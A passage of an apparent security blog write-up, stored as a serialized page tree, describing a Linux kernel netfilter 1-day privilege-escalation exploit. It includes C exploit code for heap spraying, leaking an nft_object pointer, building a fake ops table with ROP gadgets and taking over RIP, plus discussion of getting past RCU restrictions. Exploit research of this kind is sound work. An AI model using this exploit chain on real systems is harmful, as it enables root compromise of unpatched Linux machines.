table\"",{"type":24,"tag":327,"props":62188,"children":62189},{"style":346},[62190],{"type":29,"value":583},{"type":24,"tag":327,"props":62192,"children":62193},{"class":329,"line":1067},[62194],{"type":24,"tag":327,"props":62195,"children":62196},{"style":346},[62197],{"type":29,"value":535},{"type":24,"tag":327,"props":62199,"children":62200},{"class":329,"line":1075},[62201],{"type":24,"tag":327,"props":62202,"children":62203},{"emptyLinePlaceholder":16},[62204],{"type":29,"value":544},{"type":24,"tag":327,"props":62206,"children":62207},{"class":329,"line":1084},[62208],{"type":24,"tag":327,"props":62209,"children":62210},{"style":551},[62211],{"type":29,"value":62212},"    // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":327,"props":62214,"children":62215},{"class":329,"line":1100},[62216],{"type":24,"tag":327,"props":62217,"children":62218},{"style":551},[62219],{"type":29,"value":62220},"    // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":327,"props":62222,"children":62223},{"class":329,"line":1128},[62224,62229,62233,62238],{"type":24,"tag":327,"props":62225,"children":62226},{"style":340},[62227],{"type":29,"value":62228},"    puts",{"type":24,"tag":327,"props":62230,"children":62231},{"style":346},[62232],{"type":29,"value":349},{"type":24,"tag":327,"props":62234,"children":62235},{"style":844},[62236],{"type":29,"value":62237},"\"[*] Info leak\"",{"type":24,"tag":327,"props":62239,"children":62240},{"style":346},[62241],{"type":29,"value":583},{"type":24,"tag":327,"props":62243,"children":62244},{"class":329,"line":1148},[62245,62250,62255,62259,62263,62267],{"type":24,"tag":327,"props":62246,"children":62247},{"style":340},[62248],{"type":29,"value":62249},"    deludata_spray",{"type":24,"tag":327,"props":62251,"children":62252},{"style":346},[62253],{"type":29,"value":62254},"(nl, ",{"type":24,"tag":327,"props":62256,"children":62257},{"style":397},[62258],{"type":29,"value":2988},{"type":24,"tag":327,"props":62260,"children":62261},{"style":346},[62262],{"type":29,"value":2744},{"type":24,"tag":327,"props":62264,"children":62265},{"style":397},[62266],{"type":29,"value":3238},{"type":24,"tag":327,"props":62268,"children":62269},{"style":346},[62270],{"type":29,"value":583},{"type":24,"tag":327,"props":62272,"children":62273},{"class":329,"line":1176},[62274,62279],{"type":24,"tag":327,"props":62275,"children":62276},{"style":340},[62277],{"type":29,"value":62278},"    wait_destroyer",{"type":24,"tag":327,"props":62280,"children":62281},{"style":346},[62282],{"type":29,"value":4838},{"type":24,"tag":327,"props":62284,"children":62285},{"class":329,"line":1184},[62286,62291,62295,62299,62303,62307,62311,62315,62319,62323],{"type":24,"tag":327,"props":62287,"children":62288},{"style":340},[62289],{"type":29,"value":62290},"    obj_spray",{"type":24,"tag":327,"props":62292,"children":62293},{"style":346},[62294],{"type":29,"value":62254},{"type":24,"tag":327,"props":62296,"children":62297},{"style":397},[62298],{"type":29,"value":2988},{"type":24,"tag":327,"props":62300,"children":62301},{"style":346},[62302],{"type":29,"value":2744},{"type":24,"tag":327,"props":62304,"children":62305},{"style":397},[62306],{"type":29,"value":3238},{"type":24,"tag":327,"props":62308,"children":62309},{"style":346},[62310],{"type":29,"value":2744},{"type":24,"tag":327,"props":62312,"children":62313},{"style":334},[62314],{"type":29,"value":61217},{"type":24,"tag":327,"props":62316,"children":62317},{"style":346},[62318],{"type":29,"value":2744},{"type":24,"tag":327,"props":62320,"children":62321},{"style":397},[62322],{"type":29,"value":2988},{"type":24,"tag":327,"props":62324,"children":62325},{"style":346},[62326],{"type":29,"value":583},{"type":24,"tag":327,"props":62328,"children":62329},{"class":329,"line":1192},[62330,62335,62339,62344,62348,62352,62357,62361,62365,62370,62374,62379],{"type":24,"tag":327,"props":62331,"children":62332},{"style":334},[62333],{"type":29,"value":62334},"    uint64_t",{"type":24,"tag":327,"props":62336,"children":62337},{"style":381},[62338],{"type":29,"value":17364},{"type":24,"tag":327,"props":62340,"children":62341},{"style":346},[62342],{"type":29,"value":62343},"fake_obj ",{"type":24,"tag":327,"props":62345,"children":62346},{"style":381},[62347],{"type":29,"value":384},{"type":24,"tag":327,"props":62349,"children":62350},{"style":346},[62351],{"type":29,"value":5894},{"type":24,"tag":327,"props":62353,"children":62354},{"style":334},[62355],{"type":29,"value":62356},"uint64_t",{"type":24,"tag":327,"props":62358,"children":62359},{"style":381},[62360],{"type":29,"value":17364},{"type":24,"tag":327,"props":62362,"children":62363},{"style":346},[62364],{"type":29,"value":3146},{"type":24,"tag":327,"props":62366,"children":62367},{"style":340},[62368],{"type":29,"value":62369},"getudata",{"type":24,"tag":327,"props":62371,"children":62372},{"style":346},[62373],{"type":29,"value":62254},{"type":24,"tag":327,"props":62375,"children":62376},{"style":844},[62377],{"type":29,"value":62378},"\"spray-2\"",{"type":24,"tag":327,"props":62380,"children":62381},{"style":346},[62382],{"type":29,"value":583},{"type":24,"tag":327,"props":62384,"children":62385},{"class":329,"line":1212},[62386],{"type":24,"tag":327,"props":62387,"children":62388},{"style":346},[62389],{"type":29,"value":17865},{"type":24,"tag":235,"props":62391,"children":62393},{"id":62392},"leaking-self-pointer-of-nft_object",[62394,62396],{"type":29,"value":62395},"Leaking self pointer of ",{"type":24,"tag":284,"props":62397,"children":62399},{"className":62398},[],[62400],{"type":29,"value":61835},{"type":24,"tag":25,"props":62402,"children":62403},{},[62404,62406,62411,62413,62418,62420,62425,62427,62433],{"type":29,"value":62405},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":284,"props":62407,"children":62409},{"className":62408},[],[62410],{"type":29,"value":61835},{"type":29,"value":62412}," to get its own address. This is possible because the ",{"type":24,"tag":284,"props":62414,"children":62416},{"className":62415},[],[62417],{"type":29,"value":61835},{"type":29,"value":62419}," has a ",{"type":24,"tag":284,"props":62421,"children":62423},{"className":62422},[],[62424],{"type":29,"value":61820},{"type":29,"value":62426}," pointer (similar to ",{"type":24,"tag":284,"props":62428,"children":62430},{"className":62429},[],[62431],{"type":29,"value":62432},"table->udata",{"type":29,"value":62434}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":62436,"children":62437},{},[62438,62439,62444,62446,62452,62454,62459,62461,62467,62469,62475,62477,62482,62484,62489,62491,62496,62498],{"type":29,"value":1713},{"type":24,"tag":284,"props":62440,"children":62442},{"className":62441},[],[62443],{"type":29,"value":61835},{"type":29,"value":62445}," struct also contains a ",{"type":24,"tag":284,"props":62447,"children":62449},{"className":62448},[],[62450],{"type":29,"value":62451},"list_head",{"type":29,"value":62453}," inserted in a circular list containing all ",{"type":24,"tag":284,"props":62455,"children":62457},{"className":62456},[],[62458],{"type":29,"value":61835},{"type":29,"value":62460},"'s that belong to a given ",{"type":24,"tag":284,"props":62462,"children":62464},{"className":62463},[],[62465],{"type":29,"value":62466},"table",{"type":29,"value":62468},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":284,"props":62470,"children":62472},{"className":62471},[],[62473],{"type":29,"value":62474},"table->list.next",{"type":29,"value":62476}," pointer in the ",{"type":24,"tag":284,"props":62478,"children":62480},{"className":62479},[],[62481],{"type":29,"value":61835},{"type":29,"value":62483}," will point back to the ",{"type":24,"tag":284,"props":62485,"children":62487},{"className":62486},[],[62488],{"type":29,"value":62451},{"type":29,"value":62490}," contained in the ",{"type":24,"tag":284,"props":62492,"children":62494},{"className":62493},[],[62495],{"type":29,"value":62466},{"type":29,"value":62497}," and vice-versa.\n",{"type":24,"tag":11511,"props":62499,"children":62501},{"alt":57299,"src":62500},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":62503,"children":62504},{},[62505,62507,62512,62514,62519,62521,62527,62529,62534,62535,62540,62542,62547,62549,62554],{"type":29,"value":62506},"In short, that means that if we swap the ",{"type":24,"tag":284,"props":62508,"children":62510},{"className":62509},[],[62511],{"type":29,"value":61820},{"type":29,"value":62513}," pointer of the ",{"type":24,"tag":284,"props":62515,"children":62517},{"className":62516},[],[62518],{"type":29,"value":61835},{"type":29,"value":62520}," with its own ",{"type":24,"tag":284,"props":62522,"children":62524},{"className":62523},[],[62525],{"type":29,"value":62526},"list.next",{"type":29,"value":62528}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":284,"props":62530,"children":62532},{"className":62531},[],[62533],{"type":29,"value":61835},{"type":29,"value":59060},{"type":24,"tag":284,"props":62536,"children":62538},{"className":62537},[],[62539],{"type":29,"value":62451},{"type":29,"value":62541}," which is also the start of the ",{"type":24,"tag":284,"props":62543,"children":62545},{"className":62544},[],[62546],{"type":29,"value":61835},{"type":29,"value":62548}," itself.\n",{"type":24,"tag":188,"props":62550,"children":62551},{},[62552],{"type":29,"value":62553},"NOTE:",{"type":29,"value":62555}," This is a novel small trick.",{"type":24,"tag":317,"props":62557,"children":62559},{"className":35818,"code":62558,"language":35820,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[62560],{"type":24,"tag":284,"props":62561,"children":62562},{"__ignoreMap":7},[62563,62570,62578,62591,62639,62666,62677,62715,62722,62751,62781],{"type":24,"tag":327,"props":62564,"children":62565},{"class":329,"line":330},[62566],{"type":24,"tag":327,"props":62567,"children":62568},{"style":346},[62569],{"type":29,"value":17865},{"type":24,"tag":327,"props":62571,"children":62572},{"class":329,"line":367},[62573],{"type":24,"tag":327,"props":62574,"children":62575},{"style":346},[62576],{"type":29,"value":62577},"    // Leak nft_object ptr using table linked list\n",{"type":24,"tag":327,"props":62579,"children":62580},{"class":329,"line":408},[62581,62586],{"type":24,"tag":327,"props":62582,"children":62583},{"style":346},[62584],{"type":29,"value":62585},"    fake_obj[8] = 8;",{"type":24,"tag":327,"props":62587,"children":62588},{"style":551},[62589],{"type":29,"value":62590},"           // ulen = 8\n",{"type":24,"tag":327,"props":62592,"children":62593},{"class":329,"line":421},[62594,62599,62603,62608,62612,62616,62621,62625,62629,62634],{"type":24,"tag":327,"props":62595,"children":62596},{"style":356},[62597],{"type":29,"value":62598},"    fake_obj",{"type":24,"tag":327,"props":62600,"children":62601},{"style":346},[62602],{"type":29,"value":11329},{"type":24,"tag":327,"props":62604,"children":62605},{"style":397},[62606],{"type":29,"value":62607},"9",{"type":24,"tag":327,"props":62609,"children":62610},{"style":346},[62611],{"type":29,"value":16221},{"type":24,"tag":327,"props":62613,"children":62614},{"style":381},[62615],{"type":29,"value":384},{"type":24,"tag":327,"props":62617,"children":62618},{"style":356},[62619],{"type":29,"value":62620}," fake_obj",{"type":24,"tag":327,"props":62622,"children":62623},{"style":346},[62624],{"type":29,"value":11329},{"type":24,"tag":327,"props":62626,"children":62627},{"style":397},[62628],{"type":29,"value":2988},{"type":24,"tag":327,"props":62630,"children":62631},{"style":346},[62632],{"type":29,"value":62633},"];",{"type":24,"tag":327,"props":62635,"children":62636},{"style":551},[62637],{"type":29,"value":62638}," // udata = list->next\n",{"type":24,"tag":327,"props":62640,"children":62641},{"class":329,"line":450},[62642,62646,62650,62654,62658,62662],{"type":24,"tag":327,"props":62643,"children":62644},{"style":340},[62645],{"type":29,"value":62249},{"type":24,"tag":327,"props":62647,"children":62648},{"style":346},[62649],{"type":29,"value":62254},{"type":24,"tag":327,"props":62651,"children":62652},{"style":397},[62653],{"type":29,"value":10731},{"type":24,"tag":327,"props":62655,"children":62656},{"style":346},[62657],{"type":29,"value":2744},{"type":24,"tag":327,"props":62659,"children":62660},{"style":397},[62661],{"type":29,"value":3238},{"type":24,"tag":327,"props":62663,"children":62664},{"style":346},[62665],{"type":29,"value":583},{"type":24,"tag":327,"props":62667,"children":62668},{"class":329,"line":481},[62669,62673],{"type":24,"tag":327,"props":62670,"children":62671},{"style":340},[62672],{"type":29,"value":62278},{"type":24,"tag":327,"props":62674,"children":62675},{"style":346},[62676],{"type":29,"value":4838},{"type":24,"tag":327,"props":62678,"children":62679},{"class":329,"line":500},[62680,62685,62689,62694,62698,62702,62706,62710],{"type":24,"tag":327,"props":62681,"children":62682},{"style":340},[62683],{"type":29,"value":62684},"    udata_spray",{"type":24,"tag":327,"props":62686,"children":62687},{"style":346},[62688],{"type":29,"value":62254},{"type":24,"tag":327,"props":62690,"children":62691},{"style":397},[62692],{"type":29,"value":62693},"0xe8",{"type":24,"tag":327,"props":62695,"children":62696},{"style":346},[62697],{"type":29,"value":2744},{"type":24,"tag":327,"props":62699,"children":62700},{"style":397},[62701],{"type":29,"value":24805},{"type":24,"tag":327,"props":62703,"children":62704},{"style":346},[62705],{"type":29,"value":2744},{"type":24,"tag":327,"props":62707,"children":62708},{"style":397},[62709],{"type":29,"value":3238},{"type":24,"tag":327,"props":62711,"children":62712},{"style":346},[62713],{"type":29,"value":62714},", fake_obj);\n",{"type":24,"tag":327,"props":62716,"children":62717},{"class":329,"line":529},[62718],{"type":24,"tag":327,"props":62719,"children":62720},{"emptyLinePlaceholder":16},[62721],{"type":29,"value":544},{"type":24,"tag":327,"props":62723,"children":62724},{"class":329,"line":538},[62725,62730,62734,62739,62743,62747],{"type":24,"tag":327,"props":62726,"children":62727},{"style":340},[62728],{"type":29,"value":62729},"    get_obj",{"type":24,"tag":327,"props":62731,"children":62732},{"style":346},[62733],{"type":29,"value":62254},{"type":24,"tag":327,"props":62735,"children":62736},{"style":844},[62737],{"type":29,"value":62738},"\"spray-0\"",{"type":24,"tag":327,"props":62740,"children":62741},{"style":346},[62742],{"type":29,"value":2744},{"type":24,"tag":327,"props":62744,"children":62745},{"style":334},[62746],{"type":29,"value":2961},{"type":24,"tag":327,"props":62748,"children":62749},{"style":346},[62750],{"type":29,"value":583},{"type":24,"tag":327,"props":62752,"children":62753},{"class":329,"line":547},[62754,62759,62763,62768,62772,62776],{"type":24,"tag":327,"props":62755,"children":62756},{"style":340},[62757],{"type":29,"value":62758},"    printf",{"type":24,"tag":327,"props":62760,"children":62761},{"style":346},[62762],{"type":29,"value":349},{"type":24,"tag":327,"props":62764,"children":62765},{"style":844},[62766],{"type":29,"value":62767},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":327,"props":62769,"children":62770},{"style":55093},[62771],{"type":29,"value":55096},{"type":24,"tag":327,"props":62773,"children":62774},{"style":844},[62775],{"type":29,"value":1406},{"type":24,"tag":327,"props":62777,"children":62778},{"style":346},[62779],{"type":29,"value":62780},", obj_ptr);\n",{"type":24,"tag":327,"props":62782,"children":62783},{"class":329,"line":557},[62784],{"type":24,"tag":327,"props":62785,"children":62786},{"style":346},[62787],{"type":29,"value":17865},{"type":24,"tag":235,"props":62789,"children":62791},{"id":62790},"hijacking-control-flow",[62792],{"type":29,"value":62793},"Hijacking control-flow",{"type":24,"tag":25,"props":62795,"children":62796},{},[62797,62799,62804,62806,62811,62813,62818,62820,62825,62827,62832,62834],{"type":29,"value":62798},"To hijack control-flow, we can use ",{"type":24,"tag":284,"props":62800,"children":62802},{"className":62801},[],[62803],{"type":29,"value":61835},{"type":29,"value":62805}," once again. The ",{"type":24,"tag":284,"props":62807,"children":62809},{"className":62808},[],[62810],{"type":29,"value":61835},{"type":29,"value":62812}," struct has an ",{"type":24,"tag":284,"props":62814,"children":62816},{"className":62815},[],[62817],{"type":29,"value":59391},{"type":29,"value":62819}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":284,"props":62821,"children":62823},{"className":62822},[],[62824],{"type":29,"value":59391},{"type":29,"value":62826}," pointer with the ",{"type":24,"tag":284,"props":62828,"children":62830},{"className":62829},[],[62831],{"type":29,"value":61820},{"type":29,"value":62833}," pointer, taking control of the pointer table.\n",{"type":24,"tag":11511,"props":62835,"children":62837},{"alt":57299,"src":62836},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":317,"props":62839,"children":62841},{"className":35818,"code":62840,"language":35820,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[62842],{"type":24,"tag":284,"props":62843,"children":62844},{"__ignoreMap":7},[62845,62852,62860,62884,62931,62967,62974,62982,63014,63022,63030,63051,63059,63067,63131,63138,63146,63154,63161,63169,63203,63211,63218,63226,63233,63241,63274,63295],{"type":24,"tag":327,"props":62846,"children":62847},{"class":329,"line":330},[62848],{"type":24,"tag":327,"props":62849,"children":62850},{"style":346},[62851],{"type":29,"value":17865},{"type":24,"tag":327,"props":62853,"children":62854},{"class":329,"line":367},[62855],{"type":24,"tag":327,"props":62856,"children":62857},{"style":346},[62858],{"type":29,"value":62859},"    // Fake ops\n",{"type":24,"tag":327,"props":62861,"children":62862},{"class":329,"line":408},[62863,62868,62872,62876,62880],{"type":24,"tag":327,"props":62864,"children":62865},{"style":346},[62866],{"type":29,"value":62867},"    uint64_t *rop = calloc(29, ",{"type":24,"tag":327,"props":62869,"children":62870},{"style":1639},[62871],{"type":29,"value":62049},{"type":24,"tag":327,"props":62873,"children":62874},{"style":346},[62875],{"type":29,"value":349},{"type":24,"tag":327,"props":62877,"children":62878},{"style":334},[62879],{"type":29,"value":62356},{"type":24,"tag":327,"props":62881,"children":62882},{"style":346},[62883],{"type":29,"value":14786},{"type":24,"tag":327,"props":62885,"children":62886},{"class":329,"line":421},[62887,62892,62896,62900,62904,62908,62913,62917,62922,62926],{"type":24,"tag":327,"props":62888,"children":62889},{"style":356},[62890],{"type":29,"value":62891},"    rop",{"type":24,"tag":327,"props":62893,"children":62894},{"style":346},[62895],{"type":29,"value":11329},{"type":24,"tag":327,"props":62897,"children":62898},{"style":397},[62899],{"type":29,"value":2988},{"type":24,"tag":327,"props":62901,"children":62902},{"style":346},[62903],{"type":29,"value":16221},{"type":24,"tag":327,"props":62905,"children":62906},{"style":381},[62907],{"type":29,"value":384},{"type":24,"tag":327,"props":62909,"children":62910},{"style":346},[62911],{"type":29,"value":62912}," kaslr_slide ",{"type":24,"tag":327,"props":62914,"children":62915},{"style":381},[62916],{"type":29,"value":394},{"type":24,"tag":327,"props":62918,"children":62919},{"style":397},[62920],{"type":29,"value":62921}," 0xffffffff81988647",{"type":24,"tag":327,"props":62923,"children":62924},{"style":346},[62925],{"type":29,"value":55794},{"type":24,"tag":327,"props":62927,"children":62928},{"style":551},[62929],{"type":29,"value":62930}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":327,"props":62932,"children":62933},{"class":329,"line":450},[62934,62938,62942,62946,62950,62954,62958,62962],{"type":24,"tag":327,"props":62935,"children":62936},{"style":356},[62937],{"type":29,"value":62891},{"type":24,"tag":327,"props":62939,"children":62940},{"style":346},[62941],{"type":29,"value":11329},{"type":24,"tag":327,"props":62943,"children":62944},{"style":397},[62945],{"type":29,"value":10731},{"type":24,"tag":327,"props":62947,"children":62948},{"style":346},[62949],{"type":29,"value":16221},{"type":24,"tag":327,"props":62951,"children":62952},{"style":381},[62953],{"type":29,"value":384},{"type":24,"tag":327,"props":62955,"children":62956},{"style":346},[62957],{"type":29,"value":62912},{"type":24,"tag":327,"props":62959,"children":62960},{"style":381},[62961],{"type":29,"value":394},{"type":24,"tag":327,"props":62963,"children":62964},{"style":346},[62965],{"type":29,"value":62966}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":327,"props":62968,"children":62969},{"class":329,"line":481},[62970],{"type":24,"tag":327,"props":62971,"children":62972},{"style":346},[62973],{"type":29,"value":17865},{"type":24,"tag":327,"props":62975,"children":62976},{"class":329,"line":500},[62977],{"type":24,"tag":327,"props":62978,"children":62979},{"style":346},[62980],{"type":29,"value":62981},"    // Send ROP in object udata\n",{"type":24,"tag":327,"props":62983,"children":62984},{"class":329,"line":529},[62985,62990,62994,62999,63004,63009],{"type":24,"tag":327,"props":62986,"children":62987},{"style":346},[62988],{"type":29,"value":62989},"    del_obj(",{"type":24,"tag":327,"props":62991,"children":62992},{"style":1639},[62993],{"type":29,"value":61011},{"type":24,"tag":327,"props":62995,"children":62996},{"style":346},[62997],{"type":29,"value":62998},", \"",{"type":24,"tag":327,"props":63000,"children":63001},{"style":1639},[63002],{"type":29,"value":63003},"spray",{"type":24,"tag":327,"props":63005,"children":63006},{"style":346},[63007],{"type":29,"value":63008},"-0",{"type":24,"tag":327,"props":63010,"children":63011},{"style":844},[63012],{"type":29,"value":63013},"\");\n",{"type":24,"tag":327,"props":63015,"children":63016},{"class":329,"line":538},[63017],{"type":24,"tag":327,"props":63018,"children":63019},{"style":844},[63020],{"type":29,"value":63021},"    wait_destroyer();\n",{"type":24,"tag":327,"props":63023,"children":63024},{"class":329,"line":547},[63025],{"type":24,"tag":327,"props":63026,"children":63027},{"style":844},[63028],{"type":29,"value":63029},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":327,"props":63031,"children":63032},{"class":329,"line":557},[63033,63038,63042,63047],{"type":24,"tag":327,"props":63034,"children":63035},{"style":844},[63036],{"type":29,"value":63037},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":327,"props":63039,"children":63040},{"style":334},[63041],{"type":29,"value":63003},{"type":24,"tag":327,"props":63043,"children":63044},{"style":346},[63045],{"type":29,"value":63046},"-3",{"type":24,"tag":327,"props":63048,"children":63049},{"style":844},[63050],{"type":29,"value":63013},{"type":24,"tag":327,"props":63052,"children":63053},{"class":329,"line":586},[63054],{"type":24,"tag":327,"props":63055,"children":63056},{"style":844},[63057],{"type":29,"value":63058},"    DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":327,"props":63060,"children":63061},{"class":329,"line":1017},[63062],{"type":24,"tag":327,"props":63063,"children":63064},{"style":844},[63065],{"type":29,"value":63066},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":327,"props":63068,"children":63069},{"class":329,"line":1026},[63070,63075,63079,63083,63087,63092,63097,63102,63106,63111,63116,63121,63126],{"type":24,"tag":327,"props":63071,"children":63072},{"style":844},[63073],{"type":29,"value":63074},"    printf(\"",{"type":24,"tag":327,"props":63076,"children":63077},{"style":346},[63078],{"type":29,"value":11329},{"type":24,"tag":327,"props":63080,"children":63081},{"style":381},[63082],{"type":29,"value":469},{"type":24,"tag":327,"props":63084,"children":63085},{"style":346},[63086],{"type":29,"value":16221},{"type":24,"tag":327,"props":63088,"children":63089},{"style":1639},[63090],{"type":29,"value":63091},"ROP",{"type":24,"tag":327,"props":63093,"children":63094},{"style":1639},[63095],{"type":29,"value":63096}," addr",{"type":24,"tag":327,"props":63098,"children":63099},{"style":346},[63100],{"type":29,"value":63101},": 0",{"type":24,"tag":327,"props":63103,"children":63104},{"style":1639},[63105],{"type":29,"value":603},{"type":24,"tag":327,"props":63107,"children":63108},{"style":346},[63109],{"type":29,"value":63110},"%",{"type":24,"tag":327,"props":63112,"children":63113},{"style":1639},[63114],{"type":29,"value":63115},"lx",{"type":24,"tag":327,"props":63117,"children":63118},{"style":346},[63119],{"type":29,"value":63120},"\\",{"type":24,"tag":327,"props":63122,"children":63123},{"style":1639},[63124],{"type":29,"value":63125},"n",{"type":24,"tag":327,"props":63127,"children":63128},{"style":844},[63129],{"type":29,"value":63130},"\", rop_addr);\n",{"type":24,"tag":327,"props":63132,"children":63133},{"class":329,"line":1048},[63134],{"type":24,"tag":327,"props":63135,"children":63136},{"emptyLinePlaceholder":16},[63137],{"type":29,"value":544},{"type":24,"tag":327,"props":63139,"children":63140},{"class":329,"line":1067},[63141],{"type":24,"tag":327,"props":63142,"children":63143},{"style":844},[63144],{"type":29,"value":63145},"    // Point to fake ops\n",{"type":24,"tag":327,"props":63147,"children":63148},{"class":329,"line":1075},[63149],{"type":24,"tag":327,"props":63150,"children":63151},{"style":844},[63152],{"type":29,"value":63153},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":327,"props":63155,"children":63156},{"class":329,"line":1084},[63157],{"type":24,"tag":327,"props":63158,"children":63159},{"style":844},[63160],{"type":29,"value":17865},{"type":24,"tag":327,"props":63162,"children":63163},{"class":329,"line":1100},[63164],{"type":24,"tag":327,"props":63165,"children":63166},{"style":844},[63167],{"type":29,"value":63168},"    // Write ROP\n",{"type":24,"tag":327,"props":63170,"children":63171},{"class":329,"line":1128},[63172,63177,63181,63185,63189,63194,63199],{"type":24,"tag":327,"props":63173,"children":63174},{"style":844},[63175],{"type":29,"value":63176},"    puts(\"",{"type":24,"tag":327,"props":63178,"children":63179},{"style":346},[63180],{"type":29,"value":11329},{"type":24,"tag":327,"props":63182,"children":63183},{"style":381},[63184],{"type":29,"value":469},{"type":24,"tag":327,"props":63186,"children":63187},{"style":346},[63188],{"type":29,"value":16221},{"type":24,"tag":327,"props":63190,"children":63191},{"style":1639},[63192],{"type":29,"value":63193},"Write",{"type":24,"tag":327,"props":63195,"children":63196},{"style":1639},[63197],{"type":29,"value":63198}," ROP",{"type":24,"tag":327,"props":63200,"children":63201},{"style":844},[63202],{"type":29,"value":63013},{"type":24,"tag":327,"props":63204,"children":63205},{"class":329,"line":1148},[63206],{"type":24,"tag":327,"props":63207,"children":63208},{"style":844},[63209],{"type":29,"value":63210},"    deludata_spray(nl, 3, 1);\n",{"type":24,"tag":327,"props":63212,"children":63213},{"class":329,"line":1176},[63214],{"type":24,"tag":327,"props":63215,"children":63216},{"style":844},[63217],{"type":29,"value":63021},{"type":24,"tag":327,"props":63219,"children":63220},{"class":329,"line":1184},[63221],{"type":24,"tag":327,"props":63222,"children":63223},{"style":844},[63224],{"type":29,"value":63225},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":327,"props":63227,"children":63228},{"class":329,"line":1192},[63229],{"type":24,"tag":327,"props":63230,"children":63231},{"emptyLinePlaceholder":16},[63232],{"type":29,"value":544},{"type":24,"tag":327,"props":63234,"children":63235},{"class":329,"line":1212},[63236],{"type":24,"tag":327,"props":63237,"children":63238},{"style":844},[63239],{"type":29,"value":63240},"    // Takeover RIP\n",{"type":24,"tag":327,"props":63242,"children":63243},{"class":329,"line":4841},[63244,63248,63252,63256,63260,63265,63270],{"type":24,"tag":327,"props":63245,"children":63246},{"style":844},[63247],{"type":29,"value":63176},{"type":24,"tag":327,"props":63249,"children":63250},{"style":346},[63251],{"type":29,"value":11329},{"type":24,"tag":327,"props":63253,"children":63254},{"style":381},[63255],{"type":29,"value":469},{"type":24,"tag":327,"props":63257,"children":63258},{"style":346},[63259],{"type":29,"value":16221},{"type":24,"tag":327,"props":63261,"children":63262},{"style":1639},[63263],{"type":29,"value":63264},"Takeover",{"type":24,"tag":327,"props":63266,"children":63267},{"style":1639},[63268],{"type":29,"value":63269}," RIP",{"type":24,"tag":327,"props":63271,"children":63272},{"style":844},[63273],{"type":29,"value":63013},{"type":24,"tag":327,"props":63275,"children":63276},{"class":329,"line":4862},[63277,63282,63286,63291],{"type":24,"tag":327,"props":63278,"children":63279},{"style":844},[63280],{"type":29,"value":63281},"    dump_obj(nl, \"",{"type":24,"tag":327,"props":63283,"children":63284},{"style":334},[63285],{"type":29,"value":63003},{"type":24,"tag":327,"props":63287,"children":63288},{"style":346},[63289],{"type":29,"value":63290},"-1",{"type":24,"tag":327,"props":63292,"children":63293},{"style":844},[63294],{"type":29,"value":63013},{"type":24,"tag":327,"props":63296,"children":63297},{"class":329,"line":4870},[63298],{"type":24,"tag":327,"props":63299,"children":63300},{"style":844},[63301],{"type":29,"value":17865},{"type":24,"tag":235,"props":63303,"children":63305},{"id":63304},"bypass-context-switch-in-rcu-critical-section",[63306],{"type":29,"value":63307},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":63309,"children":63310},{},[63311,63312,63317],{"type":29,"value":1713},{"type":24,"tag":284,"props":63313,"children":63315},{"className":63314},[],[63316],{"type":29,"value":61835},{"type":29,"value":63318}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":63320,"children":63321},{},[63322,63324,63331,63333,63339,63341,63347],{"type":29,"value":63323},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":57,"props":63325,"children":63328},{"href":63326,"rel":63327},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[61],[63329],{"type":29,"value":63330},"previous kernelCTF submission",{"type":29,"value":63332}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":284,"props":63334,"children":63336},{"className":63335},[],[63337],{"type":29,"value":63338},"task_struct",{"type":29,"value":63340}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call 